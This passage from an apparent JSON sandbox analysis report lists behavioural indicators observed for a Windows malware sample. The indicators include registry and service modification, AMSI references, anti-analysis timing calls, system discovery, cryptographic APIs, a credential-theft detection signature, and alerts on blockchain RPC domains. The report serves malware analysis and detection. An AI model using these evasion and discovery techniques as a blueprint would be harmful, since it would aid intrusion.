\"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"RegFlushKey\" (Indicator: \"RegFlushKey\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"RegSetValueW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"Found reference to API \"ChangeServiceConfigW\" (Indicator: \"ChangeServiceConfig\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp\n 00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$29","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2a","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" renamed original file\"C:\\SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" to \":r\"","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \".text\" is zero\n Raw size of \".rdata\" is zero\n Raw size of \".data\" is zero\n Raw size of \".3p\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00002720.00000000.178880.0C890000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"BCryptCloseAlgorithmProvider\" (Indicator: \"BCryptCloseAlgorithmProvider\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$2c","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00002720.00000001.179099.E92D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00002720.00000000.178880.0C890000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00002720.00000001.179099.0C910000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\System32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00001444.00000000.184248.FA7D0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\System32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00001460.00000000.183278.26470000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\System32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00003756.00000000.184897.0ECC0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\System32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00003776.00000000.181030.8E070000.00000004.mdmp\")\n Found string \":\\WINDOWS\\System32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00004172.00000000.182636.B8320000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp, 00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"details too long to display","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.98153","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2d","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2e","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005432-00000C2C-1763694314\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005432-00000C2C-1764423002\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"etUserNameExA\" (Source: \"00000000-00002720.00000001.179099.E92D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005432-00000C2C-1763694314\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005432-00000C2C-1764423002\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00005432-00000C2C-1762741962\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00005432-00000C2C-1762742472\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005432-00000C2C-1765044514\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005432-00000C2C-1765044537\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"Found string \"QueryServiceStatus\" (Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found string \"QueryServiceConfigW\" (Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve file and directory information","description":"file/memory contains long string(File: \"ModuleAnalysisCache\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-726","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetUserObjectInformationA\" in file \"00000000-00004180.00000001.176990.40239000.00000020.mdmp\"\n Found system information discovery API: \"GetSystemInfo\" in \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\"\n Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00005432-00000C2C-1764215804\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00005432-00000C2C-1764215826\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00004180)\n \"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00005432)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00004180)\n \"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00004180)\n \"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00004180)\n \"sc.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00007848)\n \"sc.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005824)\n \"sc.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00004544)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00004180)\n \"sc.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00007848)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" called \"GetForegroundWindow\" (UID: 00000000-00004180)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"5432\" - (UID: 00000000-00005432)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"2720\" - (UID: 00000000-00002720)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00005432)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00002720)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get handle of currently active window","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" called \"GetActiveWindow\" (UID: 00000000-00004180)","origin":"API Call","mitre_attack_id":"T1010","relevance":5,"id":"api-150","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004180)\n \"sc.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007848)\n \"sc.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005824)\n \"sc.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004544)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005432)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2f","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$30","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00005432)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00005432)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00002720)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve default language settings","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00004180)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-149","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00005432)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00005432)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00002720)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$31","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"00000000-00004180.00000001.176990.40239000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; Source: \"00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; Source: \"00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$32","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"sc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to retrieve device driver information","description":"\"powershell.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\HKEY_LOCAL_MACHINE\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\WAASMEDICSVC\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1652","relevance":1,"id":"registry-174","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Observed Blockchain RPC Domain (polygon-public .nodies .app in TLS SNI)\" (SID: 2067319, Rev: 1, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Observed Blockchain RPC Domain (polygon .lava .build in TLS SNI)\" (SID: 2067325, Rev: 1, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\"\n Found registry modification API: \"RegLoadKeyW\" in \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\"\n Found registry modification API: \"RegConnectRegistryW\" in \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Able to execute applications using .NET process API","description":"Found string \"processstartinfo\" (Source: \"00000000-00002720.00000001.179099.0C8B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-934","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: 